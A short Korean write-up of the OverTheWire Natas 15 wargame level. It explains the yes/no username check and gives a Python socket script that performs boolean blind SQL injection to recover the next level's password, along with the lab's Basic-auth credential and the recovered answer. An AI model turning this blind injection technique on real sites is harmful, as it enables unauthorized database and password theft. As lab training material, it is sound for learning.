접기
소스코드를 보니 username이 존재한지 안한지 쿼리가 판단만 해준다. username이 존재하면 This user exists.로 뜨고, 존재하지 않으면 This user doesn't exist로 뜬다. 그러면 비밀번호를 찾는 방법은 자동화를 통해서 패스워드를 하나씩 찾아야 하는 방법밖에는 없다.
하나씩 찾는 방법은 ord(mid(password,1,1))=54 이런식으로 자동화 프로그램을 돌렸다.
접기 접기
[Natas15 - Natas16 자동화프로그램] - Python3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
for i in range (1 ,33 ):
for ch in range (48 ,123 ):
if 58 < = ch < = 64 : continue
if 91 < = ch < = 96 : continue
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("176.9.9.172" ,80 ))
header = "GET /index.php?"
header + = "username=%22+or+username=%22natas16%22+and+ord(mid(password," + str (i)+ ",1))=" + str (ch)+ "%23 "
header + = "HTTP/1.1\r\n"
header + = "Authorization:Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n"
header + = "Host:natas15.natas.labs.overthewire.org\r\n"
header + = "\r\n"
response = " "
sock.send(header.encode())
response = sock.recv(65535 )
response = response.decode()
if "This user exists." in response:
print ( chr(ch), end= '' , flush= True )
sock.close ()
break;
sock.close ()
print ()
# 결과값 : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
IT Security
접기